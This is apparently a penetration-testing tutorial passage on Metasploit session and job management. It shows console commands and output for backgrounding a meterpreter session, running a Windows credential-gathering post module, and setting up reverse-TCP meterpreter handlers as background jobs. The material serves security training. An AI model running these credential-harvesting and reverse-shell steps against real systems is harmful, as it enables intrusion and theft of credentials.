msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Using Sessions with Post-Exploitation Modules

This is specifically useful when you want to run an additional module on an already exploited system with a formed, stable communication channel.

Workflow:

  1. Background your current session (formed from first exploit success)
  2. Search for the second module you wish to run
  3. Select the session number on which the module should run (from show options)

Usually, these modules can be found in the post category (Post-Exploitation modules). Main archetypes include:

  • Credential gatherers
  • Local exploit suggesters
  • Internal network scanners
# Background current session
meterpreter > background
[*] Backgrounding session 1...

# Search for post module
msf6 > search type:post platform:windows gather

# Select module
msf6 > use post/windows/gather/credentials/credential_collector

# View options - note the SESSION option
msf6 post(windows/gather/credentials/credential_collector) > show options

Module options (post/windows/gather/credentials/credential_collector):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

# Set the session
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1
SESSION => 1

# Run the module
msf6 post(windows/gather/credentials/credential_collector) > run

Jobs

If, for example, we are running an active exploit under a specific port and need this port for a different module, we cannot simply terminate the session using [CTRL] + [C]. If we did that, we would see that the port would still be in use, affecting our use of the new module.

Instead, we need to use the jobs command to look at the currently active tasks running in the background and terminate the old ones to free up the port.

Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears.

Jobs Command Help Menu

msf6 exploit(multi/handler) > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:

    -K        Terminate all running jobs.
    -P        Persist all running jobs on restart.
    -S <opt>  Row search filter.
    -h        Help banner.
    -i <opt>  Lists detailed information about a running job.
    -k <opt>  Terminate jobs by job ID and/or range.
    -l        List all running jobs.
    -p <opt>  Add persistence to job by job ID
    -v        Print more detailed info.  Use with -i and -l

Exploit Command Help Menu

When we run an exploit, we can run it as a job by typing exploit -j. Per the help menu, adding -j to our command will “run it in the context of a job.”

msf6 exploit(multi/handler) > exploit -h
Usage: exploit [options]

Launches an exploitation attempt.

OPTIONS:

    -J        Force running in the foreground, even if passive.
    -e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.
    -f        Force the exploit to run regardless of the value of MinimumRank.
    -h        Help banner.
    -j        Run in the context of a job.
    -z        Do not interact with the session after successful exploitation.

Running an Exploit as a Background Job

msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.34:4444

Listing Running Jobs

To list all running jobs, use the jobs -l command:

msf6 > jobs -l

Jobs
====

  Id  Name                    Payload                          Payload opts
  --  ----                    -------                          ------------
  0   Exploit: multi/handler  windows/meterpreter/reverse_tcp  tcp://10.10.14.34:4444

Managing Jobs

CommandDescription
jobs -lList all running jobs
jobs -i <id>Show detailed information about a job
jobs -k <id>Kill a specific job by ID
jobs -KKill all running jobs
kill <index no.>Kill job by index number

Example: Multiple Handlers Workflow

# Configure first handler
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.34
msf6 exploit(multi/handler) > set LPORT 4444

# Run as background job
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.34:4444

# Configure second handler on different port
msf6 exploit(multi/handler) > set LPORT 4445
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 10.10.14.34:4445

# List all jobs
msf6 > jobs -l

Jobs
====

  Id  Name                    Payload                          Payload opts
  --  ----                    -------                          ------------
  0   Exploit: multi/handler  windows/meterpreter/reverse_tcp  tcp://10.10.14.34:4444
  1   Exploit: multi/handler  windows/meterpreter/reverse_tcp  tcp://10.10.14.34:4445

# Kill specific job to free port
msf6 > jobs -k 0
[*] Stopping the following job(s): 0

# Kill all jobs
msf6 > jobs -K
[*] Stopping all jobs...

Important: Using [CTRL] + [C] to stop an exploit will not properly release the port. Always use jobs -k <id> to terminate jobs and free up ports correctly.